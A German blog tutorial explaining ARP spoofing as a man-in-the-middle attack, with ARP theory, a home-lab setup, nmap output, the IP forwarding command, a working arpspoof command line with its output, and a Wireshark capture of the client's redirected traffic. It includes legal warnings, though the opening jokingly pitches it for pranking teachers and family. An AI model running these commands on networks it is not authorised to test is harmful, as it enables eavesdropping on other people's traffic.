Zwecks Aufklärung und weil mir gerade ein wenig langweilig ist wird es wieder einmal Zeit für einen kleinen Grundlagenartikel der einem in die Lage versetzt effektiv Lehrer, Kollegen, Administratoren, Familienmitglieder, Freunde, usw. in Angst und Schrecken zu versetzen oder zumindest ein wenig zu ärgern 😉 Heute beschäftige ich mich mit einer der einfachsten Formen eines sogenannten Man-in-the-middle Angriffs, kurz mitm, dem Arpspoofing.
Auch wenn ich hier nicht wirklich neue Dinge niederschreibe so hat mich das Interesse an meinem Geschreibsel über Wlan Netze doch ein wenig vorsichtiger werden lassen beim veröffentlichen von gewissen Anleitungen und Themen. Arpspoofing gehört zwar zu den ältesten mir bekannten Techniken um in einem Netzwerk unerlaubt Daten mitzulesen oder zu manipulieren ist aber durchaus noch sehr wirkungsvoll, zumindest habe ich bisher eher selten Schutzmaßnahmen dagegen in Unternehmen gesehen. Nichts desto trotz hier die übliche Warnung das ein Anwenden solcher Techniken ohne entsprechende Erlaubnis zwangsläufig mit Ärger endet. Unter Ärger ist hier im Falle eines Firmenumfelds eine fristlose Kündigung, eine Anzeige nach einem oder allen Hackerparagraphen ( §202a StGB, §202b StGB, §202c StGB näheres hierzu beim Jurist des Vertrauens.) und im privaten Umfeld eine kräftige Tracht prügel zu verstehen. Die Anleitung hier versteht sich als Aufklärung um entsprechende Angriffe zu erkennen und entsprechende Maßnahmen einzuleiten. Ein nachmachen im EIGENEN, kontrollierten Netzwerkumfeld ist ausdrücklich erwünscht. Von allem anderen Rate ich hier noch einmal ausdrücklich ab. Neben den oben Erwähnten schmerzhaften und juristischen Konsequenzen kommt es gerade bei großen Netzwerken auch einmal vor das ein komplettes Netzwerk wegen solcher Angriffe zusammenbricht (vergessen Routing zu aktivieren, zu geringe Leistung der eigenen Kiste usw.). Kurz: BAUT KEINEN MIST. So und jetzt sollte ich eventuell loslegen bevor ich es mir noch anders überlege.
Beginnen wir einmal mit den Grundlagen (Sorry, ist leider nötig) der IP Kommunikation. Wer wissen will wie man etwas stört bzw. manipuliert sollte zunächst einmal verstehen wie es im Normalfall funktioniert. Wir stellen uns also vor wir sind zu Gast auf einer Party und wollen uns dort mit einer Person treffen die wir vorher noch nie gesehen haben. Wie finden wir also am schnellsten die Person unserer Wahl? Der schnellste Weg dürfte es sein sich einfach mitten rein zu stellen und zu rufen „Wer zur Hölle ist XYZ!!!!“, gut im realen Leben dürfte das auch der schnellste Weg sein um unsanft von der Party entfernt zu werden aber Computer haben es bekanntlich nicht so mit den Benimmregeln. Bei einer Kommunikation im eigenen Netzwerk läuft es zumindest exakt so ab. Will der Rechner mit der IP 192.168.10.20 mit seinem Router unter der IP 192.168.10.1 kommunizieren so braucht er neben der bereits bekannten IP auch dessen pysikalische Adresse, auch MAC-Adresse genannt. Um diese herauszufinden wird ein sogenannter ARP-Request an die Broadcastadresse (also alle Rechner) des Netzwerks gestellt. Der entsprechende Rechner antwortet mit einem ARP-Reply und seiner MAC-Adresse. Diese MAC-Adresse merkt sich jetzt der anfragende Rechner in seiner eigenen ARP-Tabelle für die folgende Kommunikation. Wie lange es braucht bis die Tabelle aktualisiert wird bzw. ob überhaupt hängt stark von den verwendeten Betriebssystemen und Einstellungen ab, per Default sollte dieser Ablauf allerdings bei jeder neuen Verbindung stattfinden.
Wer ahnt jetzt wie man ein solches System stören könnte? Richtig geraten, indem man schneller und lauter schreit als der eigentliche Zielrechner. Dieses schneller und lauter Schreien erreichen wir dadurch das wir einfach dauerhaft dem Zielrechner ARP-Replys mit unserer eigenen MAC-Adresse schicken ohne das dieser überhaupt eine Anfrage gestellt hat. Damit hätten wir dann zumindest eine Kommunikationsrichtung unter Kontrolle. In der anderen Richtung verfahren wir genau gleich. Wir müssen also dem eigentlichen Zielrechner auch dauerhaft ARP-Replys mit unserer MAC-Adresse und der IP unseres Opfers schicken. Alles weitere Regelt ein entsprechendes Routing. Soweit also zur Theorie, bevor wir jetzt zum Praxisteil mit Kali-Linux (Ja, ich mag diese Distri) übergehen sei hier der Vollständigkeit halber noch erwähnt das ARP für Address-Resolution-Protocol steht. Nur falls sich da jemand wundert wovon ich hier die ganze Zeit schreibe. So und nun zur Praxis.
Die Ausgangssituation:
Wir haben ein kleines Netz bestehend aus dem Router(Fritzbox), einem Client (Windows 8.1) und natürlich unserem Angreifer (Kali Linux). Der IP-Adressbereich des Netzwerkes ist 192.168.178.0/24 und das Gateway (Router) ist auf 192.168.178.1.
Router:
Nmap scan report for fritz.slwlan.box (192.168.178.1) Host is up (0.0015s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http FRITZ!Box http config |_http-methods: No Allow or Public header in OPTIONS response (status code 400) |_http-title: FRITZ!Box 8080/tcp open http-proxy AVM FRITZ!Box Fon WAP http proxy |_http-methods: No Allow or Public header in OPTIONS response (status code 400) |_http-title: HINWEIS: Der Zugriff auf die angeforderte URL war nicht erfolg... MAC Address: 00:04:0E:6B:00:B4 (AVM GmbH) Device type: WAP Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6.13 OS details: Linux 2.6.13 (embedded) Network Distance: 1 hop Service Info: Devices: broadband router, WAP
Client:
Nmap scan report for brecht-win-desk (192.168.178.193) Host is up (0.00079s latency). All 1000 scanned ports on brecht-win-desk (192.168.178.193) are filtered MAC Address: 50:46:5D:8E:A2:A0 (Asustek Computer) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop
Angreifer:
Da bei diesem im Nmapscan die MAC-Adresse nicht ausgegeben wird hier die Ausgabe von ifconfig
eth0 Link encap:Ethernet Hardware Adresse 20:25:64:92:c4:a4 inet Adresse:192.168.178.102 Bcast:192.168.178.255 Maske:255.255.255.0 inet6-Adresse: fe80::2225:64ff:fe92:c4a4/64 Gültigkeitsbereich:Verbindung UP BROADCAST RUNNING MULTICAST MTU:1500 Metrik:1 RX packets:13947 errors:0 dropped:0 overruns:0 frame:0 TX packets:14261 errors:0 dropped:0 overruns:0 carrier:0 Kollisionen:0 Sendewarteschlangenlänge:1000 RX bytes:11250666 (10.7 MiB) TX bytes:1568945 (1.4 MiB) Interrupt:18
Bevor wir jetzt damit beginnen uns als „Man in the middle“ zu betätigen sollten wir dafür sorgen das die Daten die beim Angreifer landen auch ihr ursprüngliches Ziel finden. Ansonsten wird dieser Angriff recht schnell dadurch bemerkt das wir den Client erfolgreich von der Aussenwelt abgeschnitten haben. Dafür wird auf dem Kali Linux Rechner eine Konsole mit root Rechten geöffnet und folgender Befehl abgefeuert.
echo 1 > /proc/sys/net/ipv4/ip_forward
Damit wird das Forwarding von IP Paketen auf dem Host aktiviert. Unser Angreiferhost leitet also ab sofort alle Pakete die nicht an ihn adressiert sind zum richtigen Zielort weiter. Auf dem Cleint selbst sieht zu diesem Zeitpunkt noch alles normal aus.
Jetzt kann der eigentliche Angriff beginnen. Kali Linux bietet mehrere Tools um solche Angriffe durchzuführen, ich halte mich hier an das wohl einfachste, arpspoof aus dem Dsniff-Paket. Sollte diese Tool nicht installiert sein so lässt es sich problemlos durch
apt-get install dsniff
nachinstallieren.
Bei Dsniff handelt es sich um eine Sammlung von Tools rund um das Thema Sniffing und „Man in the middle“. Meine Vorliebe für arpspoof ist recht schnell erklärt, dieses Tool hat genau einen Zweck und den erfüllt es recht zuverlässig. Wenn ich also nichts besonderes brauche reicht dieses Tool vollkommen aus. Hier einmal die Manpage um das folgende besser Nachvollziehen zu können.
ARPSPOOF(8) ARPSPOOF(8) NAME arpspoof - intercept packets on a switched LAN SYNOPSIS arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host DESCRIPTION arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch. Kernel IP forwarding (or a userland program which accomplishes the same, e.g. fragrouter(8)) must be turned on ahead of time. OPTIONS -i interface Specify the interface to use. -c own|host|both Specify which hardware address t use when restoring the arp configuration; while cleaning up, packets can be send with the own address as well as with the address of the host. Send‐ ing packets with a fake hw address can disrupt connectivity with certain switch/ap/bridge configurations, however it works more reliably than using the own address, which is the default way arpspoof cleans up afterwards. -t target Specify a particular host to ARP poison (if not specified, all hosts on the LAN). Repeat to specify multiple hosts. -r Poison both hosts (host and target) to capture traffic in both directions. (only valid in conjuntion with -t) host Specify the host you wish to intercept packets for (usually the local gateway). SEE ALSO dsniff(8), fragrouter(8) AUTHOR Dug Song <dugsong@monkey.org> ARPSPOOF(8)
Wie man sieht kann dieses Tool alles was man braucht. Wir starten also mit folgender Befehlszeile unseren Angriff.
arpspoof -i eth0 -c own -t 192.168.178.193 -r 192.168.178.1
In dieser Zeile representiert eth0 meine Netzwerkkarte, die mit dem Zielnetzwerk verbunden ist, die 192.168.178.193 ist die IP-Adresse des Clients und 192.168.178.1 die IP-Adresse für die ich mich beim Client ausgeben will, in diesem Fall der Router. Interessant ist hier der -r Parameter der mir erspart diesen befehl ein zweites Mal umgekehrt einzugeben um auch den Traffic des Routers zum Client über meinen Rechner umzuleiten.
Sehen wir uns kurz die Ausgabe des Befehls an.
:~# arpspoof -i eth0 -c own -t 192.168.178.193 -r 192.168.178.1 20:25:64:92:c4:a4 50:46:5d:8e:a2:a0 0806 42: arp reply 192.168.178.1 is-at 20:25:64:92:c4:a4 20:25:64:92:c4:a4 0:4:e:6b:0:b4 0806 42: arp reply 192.168.178.193 is-at 20:25:64:92:c4:a4 20:25:64:92:c4:a4 50:46:5d:8e:a2:a0 0806 42: arp reply 192.168.178.1 is-at 20:25:64:92:c4:a4 20:25:64:92:c4:a4 0:4:e:6b:0:b4 0806 42: arp reply 192.168.178.193 is-at 20:25:64:92:c4:a4 20:25:64:92:c4:a4 50:46:5d:8e:a2:a0 0806 42: arp reply 192.168.178.1 is-at 20:25:64:92:c4:a4 20:25:64:92:c4:a4 0:4:e:6b:0:b4 0806 42: arp reply 192.168.178.193 is-at 20:25:64:92:c4:a4 20:25:64:92:c4:a4 50:46:5d:8e:a2:a0 0806 42: arp reply 192.168.178.1 is-at 20:25:64:92:c4:a4 20:25:64:92:c4:a4 0:4:e:6b:0:b4 0806 42: arp reply 192.168.178.193 is-at 20:25:64:92:c4:a4
Wie bereits oben erklärt macht dieses Tool nichts anderes als ARP-Replys mit den entsprechenden Adressen zu versenden. Sollte ein Client also eine Anfrage stellen. während wir ein solches Tool am laufen haben. wird die Anfrage zuerst von unserem Tool beantwortet. Zumindest in den meisten Fällen, etwas schwerer wird es wenn man von einem WLAN aus versucht solche Tricks anzuwenden. Das ist allerdings noch einmal eine ganz andere Geschichte. Bereits nach wenigen Sekunden sollte man an der ARP-Tabelle des Clients einen Erfolg erkennen können.
Hier erkennt man das sowohl für den Angreifer als auch für den Router inzwischen die gleiche MAC-Adresse eingetragen ist. Damit werden alle Pakete die eigentlich für den Router bestimmt sind über den Angreifer umgeleitet. Das war dann auch schon alles was es für einen erfolgreichen „Man in the middle“ Angriff in einem lokalen Netzwerk braucht. Der Windowspc selbst ist auf einem aktuellen Patchstand und sowohl Virenscanner als auch Firewall sind aktiv, leider hat nichts davon geholfen 😉
Um das ganze noch ein wenig Anschaulicher zu machen hier die Ausgabe von Wireshark auf dem Kali Rechner.
Der Eingetragene Filter „!(ip.dst == 192.168.178.102 or ip.src == 192.168.178.102)“ dient hier dazu um unseren eigenen Datenverkehr in der Anzeige auszufiltern. ARP Pakete sind deshalb nicht sichtbar weil ich sie bereits im „Capture Filter“ entferne. Neben dem Mitschneiden gibt es selbstverständlich ab jetzt für uns auch die Möglichkeit die Daten zu manipulieren. Dazu komme ich dann allerdings ein anderes Mal. Um unseren Angriff zu beenden genügt es in die Konsole zu gehen auf der arpspoof läuft und mit crtl+c einen Abbruch herbeizuführen. Arpspoof wird dann beim schließen dafür sorgen das alles wieder in den Urzustand versetzt wird.
Nützlich ist diese Technik allerdings nicht nur für Angreifer auch für den ambitionierten Benutzer kann es manchmal erforderlich sein in seinen Datenverkehr hineinzuschauen, so findet man beispielsweise geschwätzige Anwendungen die ohne Ankündigung nach Hause telefonieren oder hat die Möglichkeit sich die Datenübertragungen seiner Lieblingsapps einmal genauer anzuschauen.
So dann hoffe ich mal das ich nicht zu sehr mit Grundlagen genervt habe und der ein oder andere jetzt den Grund dafür herausgefunden hat warum man grundsätzlich wichtige Daten nur verschlüsselt übertragen sollte.